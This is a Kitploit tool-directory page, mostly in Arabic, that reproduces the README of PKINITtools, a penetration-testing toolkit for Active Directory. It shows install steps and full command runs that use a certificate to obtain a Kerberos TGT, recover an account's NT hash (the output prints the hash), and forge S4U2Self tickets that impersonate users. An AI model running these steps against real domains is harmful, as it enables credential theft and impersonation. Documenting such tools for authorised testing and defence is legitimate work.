Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PKINITtools — أدوات لـ Kerberos PKINIT وترحيل إلى AD CS | Kitploit
أدوات/GitHubGitHub/dirkjanm/pkinittools
الاستغلالاختبار الاختراقالمصادقة
GitHubdirkjanm/pkinittools

PKINITtools

أدوات لـ Kerberos PKINIT وترحيل إلى AD CS

عرض المستودع
922107منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

أدوات PKINIT

يحتوي هذا المستودع على بعض الأدوات المساعدة للتعامل مع PKINIT والشهادات.
تم بناء الأدوات على minikerberos و impacket. منشور مدونة مصاحب مع مزيد من السياق: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

التثبيت

هذه الأدوات متوافقة فقط مع Python 3.5+. استنسخ المستودع من GitHub، وقم بتثبيت التبعيات وستكون جاهزًا:

root@kitploit:~
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

يوصى باستخدام virtualenv لهذا الغرض.

الأدوات

gettgtpkinit.py

اطلب TGT باستخدام ملف PFX، سواء كان كملف أو كـ blob بتشفير base64، أو ملفات PEM للشهادة + المفتاح. يستخدم هذا Kerberos PKINIT وسيخرج TGT إلى ccache المحدد. سيطبع أيضًا مفتاح تشفير AS-REP الذي قد تحتاجه لأداة getnthash.py. مثال الاستخدام:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
                       domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
  domain/username     Domain and username in the cert
  ccache              ccache file to store the TGT in

optional arguments:
  -h, --help          show this help message and exit
  -cert-pfx file      PFX file
  -pfx-pass password  PFX file password
  -pfx-base64 BASE64  PFX file as base64 string
  -cert-pem file      Certificate in PEM format
  -key-pem file       Private key file in PEM format
  -dc-ip DC_IP        DC IP or hostname to use as KDC
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO     Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO     Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO     AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO     5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO     Saved TGT to file

getnthash.py

استخدم Kerberos U2U لتقديم طلب TGS لنفسك. سيشمل ذلك PAC الذي بدوره يحتوي على تجزئة NT التي يمكنك فك تشفيرها باستخدام مفتاح AS-REP الذي تم استخدامه لـ TGT الخاص بك. إنه سحر حقًا. تتطلب هذه الأداة وجود TGT ناتج عن PKINIT في متغير البيئة KRB5CCNAME الخاص بك. الاستخدام:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
  identity           domain/username

optional arguments:
  -h, --help         show this help message and exit
  -key KEY           AS REP key from gettgtpkinit.py
  -dc-ip ip address  IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
  -debug             Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py

يستخدم Kerberos S4U2Self لطلب تذكرة خدمة صالحة على المضيف الذي حصلت على شهادة له. يمكن استخدام هذه التذكرة بعد ذلك للتفاعل مع المضيف الأصلي. يتطلب هذا فقط TGT لحساب الجهاز لهذا المضيف. يجب أن يكون TGT في ملف ccache تحدده في kerberos_connection_url. kerberos_connection_url الوحيد المقبول لهذا المثال هو الذي يحتوي على ملف ccache، على سبيل المثال kerberos+ccache://domain.local\\victimhostname\$:[email protected]. يجب أن يكون SPN اسم خدمة على المضيف الذي تنتحل هويته، لا يمكنك استخدام هذا لهجمات التفويض (لأنه لا ينفذ S4U2Proxy، هناك العديد من الأدوات لذلك بالفعل). الاستخدام:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
  kerberos_connection_url
                        the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@<domaincontroller-ip>
  spn                   the service principal in format <service>/<server-hostname>@<domain> Example: cifs/[email protected] for a
                        TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
  targetuser
  ccache                ccache file to store the TGT ticket in

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO     Trying to get SPN with [email protected] for cifs/[email protected]
2021-07-28 10:09:13,695 minikerberos INFO     Success!
2021-07-28 10:09:13,696 minikerberos INFO     Done!

الترخيص

MIT

الاعتمادات

  • SkelSec لـ minikerberos
  • Alberto Solino وفريق SecureAuthCorp لـ impacket
  • Mor Rubin لتنفيذهم الأول لـ PKINIT في بايثون كجزء من AzureADJoinedMachinePTC
  • Benjamin Delpy لتنفيذ هذه الأشياء في kekeo
تنزيل الأداة